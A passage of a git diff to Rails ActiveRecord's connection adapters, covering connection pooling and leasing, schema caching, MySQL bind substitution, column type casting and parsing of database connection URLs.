           raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.blank?
           column_names.map {|column_name| quote_column_name(column_name) }
         end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index c47bcfc406..b3f9187429 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -2,30 +2,34 @@ require 'date'
 require 'bigdecimal'
 require 'bigdecimal/util'
 require 'active_support/core_ext/benchmark'
-require 'active_support/deprecation'
+require 'active_record/connection_adapters/schema_cache'
+require 'monitor'
 
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
     extend ActiveSupport::Autoload
 
     autoload :Column
+    autoload :ConnectionSpecification
 
-    autoload_under 'abstract' do
-      autoload :IndexDefinition,  'active_record/connection_adapters/abstract/schema_definitions'
-      autoload :ColumnDefinition, 'active_record/connection_adapters/abstract/schema_definitions'
-      autoload :TableDefinition,  'active_record/connection_adapters/abstract/schema_definitions'
-      autoload :Table,            'active_record/connection_adapters/abstract/schema_definitions'
+    autoload_at 'active_record/connection_adapters/abstract/schema_definitions' do
+      autoload :IndexDefinition
+      autoload :ColumnDefinition
+      autoload :TableDefinition
+      autoload :Table
+    end
+
+    autoload_at 'active_record/connection_adapters/abstract/connection_pool' do
+      autoload :ConnectionHandler
+      autoload :ConnectionManagement
+    end
 
+    autoload_under 'abstract' do
       autoload :SchemaStatements
       autoload :DatabaseStatements
       autoload :DatabaseLimits
       autoload :Quoting
-
       autoload :ConnectionPool
-      autoload :ConnectionHandler,       'active_record/connection_adapters/abstract/connection_pool'
-      autoload :ConnectionManagement,    'active_record/connection_adapters/abstract/connection_pool'
-      autoload :ConnectionSpecification
-
       autoload :QueryCache
     end
 
@@ -47,39 +51,49 @@ module ActiveRecord
       include DatabaseLimits
       include QueryCache
       include ActiveSupport::Callbacks
+      include MonitorMixin
 
       define_callbacks :checkout, :checkin
 
-      attr_accessor :visitor
-
-      def initialize(connection, logger = nil) #:nodoc:
-        @active = nil
-        @connection, @logger = connection, logger
+      attr_accessor :visitor, :pool
+      attr_reader :schema_cache, :last_use, :in_use, :logger
+      alias :in_use? :in_use
+
+      def initialize(connection, logger = nil, pool = nil) #:nodoc:
+        super()
+
+        @active              = nil
+        @connection          = connection
+        @in_use              = false
+        @instrumenter        = ActiveSupport::Notifications.instrumenter
+        @last_use            = false
+        @logger              = logger
+        @open_transactions   = 0
+        @pool                = pool
+        @query_cache         = Hash.new { |h,sql| h[sql] = {} }
         @query_cache_enabled = false
-        @query_cache = Hash.new { |h,sql| h[sql] = {} }
-        @open_transactions = 0
-        @instrumenter = ActiveSupport::Notifications.instrumenter
-        @visitor = nil
-      end
-
-      # Returns a visitor instance for this adaptor, which conforms to the Arel::ToSql interface
-      def self.visitor_for(pool) # :nodoc:
-        adapter = pool.spec.config[:adapter]
-
-        if Arel::Visitors::VISITORS[adapter]
-          ActiveSupport::Deprecation.warn(
-            "Arel::Visitors::VISITORS is deprecated and will be removed. Database adapters " \
-            "should define a visitor_for method which returns the appropriate visitor for " \
-            "the database. For example, MysqlAdapter.visitor_for(pool) returns " \
-            "Arel::Visitors::MySQL.new(pool)."
-          )
-
-          Arel::Visitors::VISITORS[adapter].new(pool)
-        else
-          Arel::Visitors::ToSql.new(pool)
+        @schema_cache        = SchemaCache.new self
+        @visitor             = nil
+      end
+
+      def lease
+        synchronize do
+          unless in_use
+            @in_use   = true
+            @last_use = Time.now
+          end
         end
       end
 
+      def schema_cache=(cache)
+        cache.connection = self
+        @schema_cache = cache
+      end
+
+      def expire
+        @in_use = false
+      end
+
       # Returns the human-readable name of the adapter. Use mixed case - one
       # can always use downcase if needed.
       def adapter_name
@@ -135,17 +149,23 @@ module ActiveRecord
         false
       end
 
-      # QUOTING ==================================================
+      # Does this adapter support partial indices?
+      def supports_partial_index?
+        false
+      end
 
-      # Override to return the quoted table name. Defaults to column quoting.
-      def quote_table_name(name)
-        quote_column_name(name)
+      # Does this adapter support explain? As of this writing sqlite3,
+      # mysql2, and postgresql are the only ones that do.
+      def supports_explain?
+        false
       end
 
+      # QUOTING ==================================================
+
       # Returns a bind substitution value given a +column+ and list of current
       # +binds+
       def substitute_at(column, index)
-        Arel.sql '?'
+        Arel::Nodes::BindParam.new '?'
       end
 
       # REFERENTIAL INTEGRITY ====================================
@@ -251,28 +271,32 @@ module ActiveRecord
         "active_record_#{open_transactions}"
       end
 
-      protected
+      # Check the connection back in to the connection pool
+      def close
+        pool.checkin self
+      end
 
-        def log(sql, name = "SQL", binds = [])
-          @instrumenter.instrument(
-            "sql.active_record",
-            :sql           => sql,
-            :name          => name,
-            :connection_id => object_id,
-            :binds         => binds) { yield }
-        rescue Exception => e
-          message = "#{e.class.name}: #{e.message}: #{sql}"
-          @logger.debug message if @logger
-          exception = translate_exception(e, message)
-          exception.set_backtrace e.backtrace
-          raise exception
-        end
+      protected
 
-        def translate_exception(e, message)
-          # override in derived class
-          ActiveRecord::StatementInvalid.new(message)
-        end
+      def log(sql, name = "SQL", binds = [])
+        @instrumenter.instrument(
+          "sql.active_record",
+          :sql           => sql,
+          :name          => name,
+          :connection_id => object_id,
+          :binds         => binds) { yield }
+      rescue => e
+        message = "#{e.class.name}: #{e.message}: #{sql}"
+        @logger.error message if @logger
+        exception = translate_exception(e, message)
+        exception.set_backtrace e.backtrace
+        raise exception
+      end
 
+      def translate_exception(exception, message)
+        # override in derived class
+        ActiveRecord::StatementInvalid.new(message)
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index baf4c043c4..1126fe7fce 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/object/blank'
+require 'arel/visitors/bind_visitor'
 
 module ActiveRecord
   module ConnectionAdapters
@@ -71,6 +71,8 @@ module ActiveRecord
           when /^mediumint/i; 3
           when /^smallint/i;  2
           when /^tinyint/i;   1
+          when /^enum\((.+)\)/i
+            $1.split(',').map{|enum| enum.strip.length - 2}.max
           else
             super
           end
@@ -122,15 +124,21 @@ module ActiveRecord
         :boolean     => { :name => "tinyint", :limit => 1 }
       }
 
+      class BindSubstitution < Arel::Visitors::MySQL # :nodoc:
+        include Arel::Visitors::BindVisitor
+      end
+
       # FIXME: Make the first parameter more similar for the two adapters
       def initialize(connection, logger, connection_options, config)
         super(connection, logger)
         @connection_options, @config = connection_options, config
         @quoted_column_names, @quoted_table_names = {}, {}
-      end
 
-      def self.visitor_for(pool) # :nodoc:
-        Arel::Visitors::MySQL.new(pool)
+        if config.fetch(:prepared_statements) { true }
+          @visitor = Arel::Visitors::MySQL.new self
+        else
+          @visitor = BindSubstitution.new self
+        end
       end
 
       def adapter_name #:nodoc:
@@ -155,7 +163,7 @@ module ActiveRecord
         true
       end
 
-      # Technically MySQL allows to create indexes with the sort order syntax 
+      # Technically MySQL allows to create indexes with the sort order syntax
       # but at the moment (5.5) it doesn't yet implement them
       def supports_index_sort_order?
         true
@@ -228,80 +236,6 @@ module ActiveRecord
 
       # DATABASE STATEMENTS ======================================
 
-      def explain(arel)
-        sql     = "EXPLAIN #{to_sql(arel)}"
-        start   = Time.now
-        result  = exec_query(sql, 'EXPLAIN')
-        elapsed = Time.now - start
-
-        ExplainPrettyPrinter.new.pp(result, elapsed)
-      end
-
-      class ExplainPrettyPrinter # :nodoc:
-        # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
-        # MySQL shell:
-        #
-        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
-        #   | id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
-        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
-        #   |  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
-        #   |  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
-        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
-        #   2 rows in set (0.00 sec)
-        #
-        # This is an exercise in Ruby hyperrealism :).
-        def pp(result, elapsed)
-          widths    = compute_column_widths(result)
-          separator = build_separator(widths)
-
-          pp = []
-
-          pp << separator
-          pp << build_cells(result.columns, widths)
-          pp << separator
-
-          result.rows.each do |row|
-            pp << build_cells(row, widths)
-          end
-
-          pp << separator
-          pp << build_footer(result.rows.length, elapsed)
-
-          pp.join("\n") + "\n"
-        end
-
-        private
-
-        def compute_column_widths(result)
-          [].tap do |widths|
-            result.columns.each_with_index do |column, i|
-              cells_in_column = [column] + result.rows.map {|r| r[i].nil? ? 'NULL' : r[i].to_s}
-              widths << cells_in_column.map(&:length).max
-            end
-          end
-        end
-
-        def build_separator(widths)
-          padding = 1
-          '+' + widths.map {|w| '-' * (w + (padding*2))}.join('+') + '+'
-        end
-
-        def build_cells(items, widths)
-          cells = []
-          items.each_with_index do |item, i|
-            item = 'NULL' if item.nil?
-            justifier = item.is_a?(Numeric) ? 'rjust' : 'ljust'
-            cells << item.to_s.send(justifier, widths[i])
-          end
-          '| ' + cells.join(' | ') + ' |'
-        end
-
-        def build_footer(nrows, elapsed)
-          rows_label = nrows == 1 ? 'row' : 'rows'
-          "#{nrows} #{rows_label} in set (%.2f sec)" % elapsed
-        end
-      end
-
       # Executes the SQL statement in the context of this connection.
       def execute(sql, name = nil)
         if name == :skip_logging
@@ -318,7 +252,7 @@ module ActiveRecord
       end
 
       # MysqlAdapter has to free a result after using it, so we use this method to write
-      # stuff in a abstract way without concerning ourselves about whether it needs to be
+      # stuff in an abstract way without concerning ourselves about whether it needs to be
       # explicitly freed or not.
       def execute_and_free(sql, name = nil) #:nodoc:
         yield execute(sql, name)
@@ -331,19 +265,19 @@ module ActiveRecord
 
       def begin_db_transaction
         execute "BEGIN"
-      rescue Exception
+      rescue
         # Transactions aren't supported
       end
 
       def commit_db_transaction #:nodoc:
         execute "COMMIT"
-      rescue Exception
+      rescue
         # Transactions aren't supported
       end
 
       def rollback_db_transaction #:nodoc:
         execute "ROLLBACK"
-      rescue Exception
+      rescue
         # Transactions aren't supported
       end
 
@@ -361,19 +295,10 @@ module ActiveRecord
 
       # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
       # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support
-      # these, we must use a subquery. However, MySQL is too stupid to create a
-      # temporary table for this automatically, so we have to give it some prompting
-      # in the form of a subsubquery. Ugh!
+      # these, we must use a subquery.
       def join_to_update(update, select) #:nodoc:
         if select.limit || select.offset || select.orders.any?
-          subsubselect = select.clone
-          subsubselect.projections = [update.key]
-
-          subselect = Arel::SelectManager.new(select.engine)
-          subselect.project Arel.sql(update.key.name)
-          subselect.from subsubselect.as('__active_record_temp')
-
-          update.where update.key.in(subselect)
+          super
         else
           update.table select.source
           update.wheres = select.constraints
@@ -389,11 +314,11 @@ module ActiveRecord
           sql = "SHOW TABLES"
         end
 
-        select_all(sql).map do |table|
+        select_all(sql, 'SCHEMA').map { |table|
           table.delete('Table_type')
           sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}"
-          exec_without_stmt(sql).first['Create Table'] + ";\n\n"
-        end.join("")
+          exec_query(sql, 'SCHEMA').first['Create Table'] + ";\n\n"
+        }.join
       end
 
       # Drops the database specified on the +name+ attribute
@@ -440,8 +365,10 @@ module ActiveRecord
         show_variable 'collation_database'
       end
 
-      def tables(name = nil, database = nil) #:nodoc:
-        sql = ["SHOW TABLES", database].compact.join(' IN ')
+      def tables(name = nil, database = nil, like = nil) #:nodoc:
+        sql = "SHOW TABLES "
+        sql << "IN #{quote_table_name(database)} " if database
+        sql << "LIKE #{quote(like)}" if like
 
         execute_and_free(sql, 'SCHEMA') do |result|
           result.collect { |field| field.first }
@@ -449,7 +376,8 @@ module ActiveRecord
       end
 
       def table_exists?(name)
-        return true if super
+        return false unless name
+        return true if tables(nil, nil, name).any?
 
         name          = name.to_s
         schema, table = name.split('.', 2)
@@ -459,7 +387,7 @@ module ActiveRecord
           schema = nil
         end
 
-        tables(nil, schema).include? table
+        tables(nil, schema, table).any?
       end
 
       # Returns an array of indexes for the given table.
@@ -483,7 +411,7 @@ module ActiveRecord
       end
 
       # Returns an array of +Column+ objects for the table specified by +table_name+.
-      def columns(table_name, name = nil)#:nodoc:
+      def columns(table_name)#:nodoc:
         sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}"
         execute_and_free(sql, 'SCHEMA') do |result|
           each_hash(result).map do |field|
@@ -501,7 +429,7 @@ module ActiveRecord
           table, arguments = args.shift, args
           method = :"#{command}_sql"
 
-          if respond_to?(method)
+          if respond_to?(method, true)
             send(method, table, *arguments)
           else
             raise "Unknown method called : #{method}(#{arguments.inspect})"
@@ -548,15 +476,26 @@ module ActiveRecord
 
       # Maps logical Rails types to MySQL-specific data types.
       def type_to_sql(type, limit = nil, precision = nil, scale = nil)
-        return super unless type.to_s == 'integer'
-
-        case limit
-        when 1; 'tinyint'
-        when 2; 'smallint'
-        when 3; 'mediumint'
-        when nil, 4, 11; 'int(11)'  # compatibility with MySQL default
-        when 5..8; 'bigint'
-        else raise(ActiveRecordError, "No integer type has byte size #{limit}")
+        case type.to_s
+        when 'integer'
+          case limit
+          when 1; 'tinyint'
+          when 2; 'smallint'
+          when 3; 'mediumint'
+          when nil, 4, 11; 'int(11)'  # compatibility with MySQL default
+          when 5..8; 'bigint'
+          else raise(ActiveRecordError, "No integer type has byte size #{limit}")
+          end
+        when 'text'
+          case limit
+          when 0..0xff;               'tinytext'
+          when nil, 0x100..0xffff;    'text'
+          when 0x10000..0xffffff;     'mediumtext'
+          when 0x1000000..0xffffffff; 'longtext'
+          else raise(ActiveRecordError, "No text type has character length #{limit}")
+          end
+        else
+          super
         end
       end
 
@@ -570,24 +509,20 @@ module ActiveRecord
 
       # SHOW VARIABLES LIKE 'name'
       def show_variable(name)
-        variables = select_all("SHOW VARIABLES LIKE '#{name}'")
+        variables = select_all("SHOW VARIABLES LIKE '#{name}'", 'SCHEMA')
         variables.first['Value'] unless variables.empty?
       end
 
       # Returns a table's primary key and belonging sequence.
       def pk_and_sequence_for(table)
-        sql = <<-SQL
-          SELECT t.constraint_type, k.column_name
-          FROM information_schema.table_constraints t
-          JOIN information_schema.key_column_usage k
-          USING (constraint_name, table_schema, table_name)
-          WHERE t.table_schema = DATABASE()
-            AND t.table_name   = '#{table}'
-        SQL
-
-        execute_and_free(sql, 'SCHEMA') do |result|
-          keys = each_hash(result).select { |row| row[:constraint_type] == 'PRIMARY KEY' }.map { |row| row[:column_name] }
-          keys.length == 1 ? [keys.first, nil] : nil
+        execute_and_free("SHOW CREATE TABLE #{quote_table_name(table)}", 'SCHEMA') do |result|
+          create_table = each_hash(result).first[:"Create Table"]
+          if create_table.to_s =~ /PRIMARY KEY\s+(?:USING\s+\w+\s+)?\((.+)\)/
+            keys = $1.split(",").map { |key| key.delete('`"') }
+            keys.length == 1 ? [keys.first, nil] : nil
+          else
+            nil
+          end
         end
       end
 
@@ -615,11 +550,22 @@ module ActiveRecord
 
       protected
 
+      # MySQL is too stupid to create a temporary table for use subquery, so we have
+      # to give it some prompting in the form of a subsubquery. Ugh!
+      def subquery_for(key, select)
+        subsubselect = select.clone
+        subsubselect.projections = [key]
+
+        subselect = Arel::SelectManager.new(select.engine)
+        subselect.project Arel.sql(key.name)
+        subselect.from subsubselect.as('__active_record_temp')
+      end
+
       def add_index_length(option_strings, column_names, options = {})
         if options.is_a?(Hash) && length = options[:length]
           case length
           when Hash
-            column_names.each {|name| option_strings[name] += "(#{length[name]})" if length.has_key?(name)}
+            column_names.each {|name| option_strings[name] += "(#{length[name]})" if length.has_key?(name) && length[name].present?}
           when Fixnum
             column_names.each {|name| option_strings[name] += "(#{length})"}
           end
@@ -685,7 +631,7 @@ module ActiveRecord
           raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
         end
 
-        current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"]
+        current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'", 'SCHEMA')["Type"]
         rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
         add_column_options!(rename_column_sql, options)
         rename_column_sql
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
index a7856539b7..1445bb3b2f 100644
--- a/activerecord/lib/active_record/connection_adapters/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -5,8 +5,8 @@ module ActiveRecord
   module ConnectionAdapters
     # An abstract definition of a column in a table.
     class Column
-      TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE'].to_set
-      FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE'].to_set
+      TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE', 'on', 'ON'].to_set
+      FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE', 'off', 'OFF'].to_set
 
       module Format
         ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
@@ -66,6 +66,25 @@ module ActiveRecord
         end
       end
 
+      def binary?
+        type == :binary
+      end
+
+      # Casts a Ruby value to something appropriate for writing to the database.
+      def type_cast_for_write(value)
+        return value unless number?
+
+        if value == false
+          0
+        elsif value == true
+          1
+        elsif value.is_a?(String) && value.blank?
+          nil
+        else
+          value
+        end
+      end
+
       # Casts value (which is a String) to an appropriate instance.
       def type_cast(value)
         return nil if value.nil?
@@ -75,12 +94,12 @@ module ActiveRecord
 
         case type
         when :string, :text        then value
-        when :integer              then value.to_i rescue value ? 1 : 0
+        when :integer              then value.to_i
         when :float                then value.to_f
         when :decimal              then klass.value_to_decimal(value)
         when :datetime, :timestamp then klass.string_to_time(value)
         when :time                 then klass.string_to_dummy_time(value)
-        when :date                 then klass.string_to_date(value)
+        when :date                 then klass.value_to_date(value)
         when :binary               then klass.binary_to_string(value)
         when :boolean              then klass.value_to_boolean(value)
         else value
@@ -88,6 +107,9 @@ module ActiveRecord
       end
 
       def type_cast_code(var_name)
+        ActiveSupport::Deprecation.warn("Column#type_cast_code is deprecated in favor of" \
+          "using Column#type_cast only, and it is going to be removed in future Rails versions.")
+
         klass = self.class.name
 
         case type
@@ -97,9 +119,11 @@ module ActiveRecord
         when :decimal              then "#{klass}.value_to_decimal(#{var_name})"
         when :datetime, :timestamp then "#{klass}.string_to_time(#{var_name})"
         when :time                 then "#{klass}.string_to_dummy_time(#{var_name})"
-        when :date                 then "#{klass}.string_to_date(#{var_name})"
+        when :date                 then "#{klass}.value_to_date(#{var_name})"
         when :binary               then "#{klass}.binary_to_string(#{var_name})"
         when :boolean              then "#{klass}.value_to_boolean(#{var_name})"
+        when :hstore               then "#{klass}.string_to_hstore(#{var_name})"
+        when :inet, :cidr          then "#{klass}.string_to_cidr(#{var_name})"
         else var_name
         end
       end
@@ -132,23 +156,27 @@ module ActiveRecord
           value
         end
 
-        def string_to_date(string)
-          return string unless string.is_a?(String)
-          return nil if string.empty?
-
-          fast_string_to_date(string) || fallback_string_to_date(string)
+        def value_to_date(value)
+          if value.is_a?(String)
+            return nil if value.blank?
+            fast_string_to_date(value) || fallback_string_to_date(value)
+          elsif value.respond_to?(:to_date)
+            value.to_date
+          else
+            value
+          end
         end
 
         def string_to_time(string)
           return string unless string.is_a?(String)
-          return nil if string.empty?
+          return nil if string.blank?
 
           fast_string_to_time(string) || fallback_string_to_time(string)
         end
 
         def string_to_dummy_time(string)
           return string unless string.is_a?(String)
-          return nil if string.empty?
+          return nil if string.blank?
 
           string_to_time "2000-01-01 #{string}"
         end
@@ -180,7 +208,7 @@ module ActiveRecord
           # '0.123456' -> 123456
           # '1.123456' -> 123456
           def microseconds(time)
-            ((time[:sec_fraction].to_f % 1) * 1_000_000).to_i
+            time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0
           end
 
           def new_date(year, mon, mday)
@@ -205,7 +233,7 @@ module ActiveRecord
           # Doesn't handle time zones.
           def fast_string_to_time(string)
             if string =~ Format::ISO_DATETIME
-              microsec = ($7.to_f * 1_000_000).to_i
+              microsec = ($7.to_r * 1_000_000).to_i
               new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
             end
           end
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
new file mode 100644
index 0000000000..dd40351a38
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -0,0 +1,85 @@
+require 'uri'
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionSpecification #:nodoc:
+      attr_reader :config, :adapter_method
+
+      def initialize(config, adapter_method)
+        @config, @adapter_method = config, adapter_method
+      end
+
+      def initialize_dup(original)
+        @config = original.config.dup
+      end
+
+      ##
+      # Builds a ConnectionSpecification from user input
+      class Resolver # :nodoc:
+        attr_reader :config, :klass, :configurations
+
+        def initialize(config, configurations)
+          @config         = config
+          @configurations = configurations
+        end
+
+        def spec
+          case config
+          when nil
+            raise AdapterNotSpecified unless defined?(Rails.env)
+            resolve_string_connection Rails.env
+          when Symbol, String
+            resolve_string_connection config.to_s
+          when Hash
+            resolve_hash_connection config
+          end
+        end
+
+        private
+        def resolve_string_connection(spec) # :nodoc:
+          hash = configurations.fetch(spec) do |k|
+            connection_url_to_hash(k)
+          end
+
+          raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
+
+          resolve_hash_connection hash
+        end
+
+        def resolve_hash_connection(spec) # :nodoc:
+          spec = spec.symbolize_keys
+
+          raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
+
+          begin
+            require "active_record/connection_adapters/#{spec[:adapter]}_adapter"
+          rescue LoadError => e
+            raise LoadError, "Please install the #{spec[:adapter]} adapter: `gem install activerecord-#{spec[:adapter]}-adapter` (#{e.message})", e.backtrace
+          end
+
+          adapter_method = "#{spec[:adapter]}_connection"
+
+          ConnectionSpecification.new(spec, adapter_method)
+        end
+
+        def connection_url_to_hash(url) # :nodoc:
+          config = URI.parse url
+          adapter = config.scheme
+          adapter = "postgresql" if adapter == "postgres"
+          spec = { :adapter  => adapter,
+                   :username => config.user,
+                   :password => config.password,
+                   :port     => config.port,
+                   :database => config.path.sub(%r{^/},""),
+                   :host     => config.host }
+          spec.reject!{ |_,value| !value }
+          if config.query
+            options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
+            spec.merge!(options)
+          end
+          spec
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index 971f3c35f3..8fc172f6e8 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -1,12 +1,12 @@
 require 'active_record/connection_adapters/abstract_mysql_adapter'
 
-gem 'mysql2', '~> 0.3.6'
+gem 'mysql2', '~> 0.3.10'
 require 'mysql2'
 
 module ActiveRecord
-  class Base
+  module ConnectionHandling
     # Establishes a connection to the database that's used by all Active Record objects.
-    def self.mysql2_connection(config)
+    def mysql2_connection(config)
       config[:username] = 'root' if config[:username].nil?
 
       if Mysql2::Client.const_defined? :FOUND_ROWS
@@ -32,9 +32,14 @@ module ActiveRecord
 
       def initialize(connection, logger, connection_options, config)
         super
+        @visitor = BindSubstitution.new self
         configure_connection
       end
 
+      def supports_explain?
+        true
+      end
+
       # HELPER METHODS ===========================================
 
       def each_hash(result) # :nodoc:
@@ -61,10 +66,6 @@ module ActiveRecord
         @connection.escape(string)
       end
 
-      def substitute_at(column, index)
-        Arel.sql "\0"
-      end
-
       # CONNECTION MANAGEMENT ====================================
 
       def active?
@@ -76,6 +77,7 @@ module ActiveRecord
         disconnect!
         connect
       end
+      alias :reset! :reconnect!
 
       # Disconnects from the database if already connected.
       # Otherwise, this method does nothing.
@@ -86,12 +88,81 @@ module ActiveRecord
         end
       end
 
-      def reset!
-        disconnect!
-        connect
+      # DATABASE STATEMENTS ======================================
+
+      def explain(arel, binds = [])
+        sql     = "EXPLAIN #{to_sql(arel, binds.dup)}"
+        start   = Time.now
+        result  = exec_query(sql, 'EXPLAIN', binds)
+        elapsed = Time.now - start
+
+        ExplainPrettyPrinter.new.pp(result, elapsed)
       end
 
-      # DATABASE STATEMENTS ======================================
+      class ExplainPrettyPrinter # :nodoc:
+        # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
+        # MySQL shell:
+        #
+        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+        #   | id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
+        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+        #   |  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
+        #   |  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
+        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+        #   2 rows in set (0.00 sec)
+        #
+        # This is an exercise in Ruby hyperrealism :).
+        def pp(result, elapsed)
+          widths    = compute_column_widths(result)
+          separator = build_separator(widths)
+
+          pp = []
+
+          pp << separator
+          pp << build_cells(result.columns, widths)
+          pp << separator
+
+          result.rows.each do |row|
+            pp << build_cells(row, widths)
+          end
+
+          pp << separator
+          pp << build_footer(result.rows.length, elapsed)
+
+          pp.join("\n") + "\n"
+        end
+
+        private
+
+        def compute_column_widths(result)
+          [].tap do |widths|
+            result.columns.each_with_index do |column, i|
+              cells_in_column = [column] + result.rows.map {|r| r[i].nil? ? 'NULL' : r[i].to_s}
+              widths << cells_in_column.map(&:length).max
+            end
+          end
+        end
+
+        def build_separator(widths)
+          padding = 1
+          '+' + widths.map {|w| '-' * (w + (padding*2))}.join('+') + '+'
+        end
+
+        def build_cells(items, widths)
+          cells = []
+          items.each_with_index do |item, i|
+            item = 'NULL' if item.nil?
+            justifier = item.is_a?(Numeric) ? 'rjust' : 'ljust'
+            cells << item.to_s.send(justifier, widths[i])
+          end
+          '| ' + cells.join(' | ') + ' |'
+        end
+
+        def build_footer(nrows, elapsed)
+          rows_label = nrows == 1 ? 'row' : 'rows'
+          "#{nrows} #{rows_label} in set (%.2f sec)" % elapsed
+        end
+      end
 
       # FIXME: re-enable the following once a "better" query_cache solution is in core
       #
@@ -146,8 +217,7 @@ module ActiveRecord
       # Returns an array of record hashes with the column names as keys and
       # column values as values.
       def select(sql, name = nil, binds = [])
-        binds = binds.dup
-        exec_query(sql.gsub("\0") { quote(*binds.shift.reverse) }, name).to_a
+        exec_query(sql, name)
       end
 
       def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
@@ -156,18 +226,12 @@ module ActiveRecord
       end
       alias :create :insert_sql
 
-      def exec_insert(sql, name, binds)
-        binds = binds.dup
-
-        # Pretend to support bind parameters
-        execute sql.gsub("\0") { quote(*binds.shift.reverse) }, name
+      def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
+        execute to_sql(sql, binds), name
       end
 
       def exec_delete(sql, name, binds)
-        binds = binds.dup
-
-        # Pretend to support bind parameters
-        execute sql.gsub("\0") { quote(*binds.shift.reverse) }, name
+        execute to_sql(sql, binds), name
         @connection.affected_rows
       end
       alias :exec_update :exec_delete
@@ -189,6 +253,14 @@ module ActiveRecord
         # By default, MySQL 'where id is null' selects the last inserted id.
         # Turn this off. http://dev.rubyonrails.org/ticket/6778
         variable_assignments = ['SQL_AUTO_IS_NULL=0']
+
+        # Make MySQL reject illegal values rather than truncating or
+        # blanking them. See
+        # http://dev.mysql.com/doc/refman/5.5/en/server-sql-mode.html#sqlmode_strict_all_tables
+        if @config.fetch(:strict, true)
+          variable_assignments << "SQL_MODE='STRICT_ALL_TABLES'"
+        end
+
         encoding = @config[:encoding]
 
         # make sure we set the encoding
@@ -196,7 +268,7 @@ module ActiveRecord
 
         # increase timeout so mysql server doesn't disconnect us
         wait_timeout = @config[:wait_timeout]
-        wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum)
+        wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum)
         variable_assignments << "@@wait_timeout = #{wait_timeout}"
 
         execute("SET #{variable_assignments.join(', ')}", :skip_logging)
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index f092edecda..6bf7af081f 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -18,9 +18,9 @@ class Mysql
 end
 
 module ActiveRecord
-  class Base
+  module ConnectionHandling
     # Establishes a connection to the database that's used by all Active Record objects.
-    def self.mysql_connection(config) # :nodoc:
+    def mysql_connection(config) # :nodoc:
       config = config.symbolize_keys
       host     = config[:host]
       port     = config[:port]
@@ -53,6 +53,7 @@ module ActiveRecord
     # * <tt>:database</tt> - The name of the database. No default, must be provided.
     # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
     # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
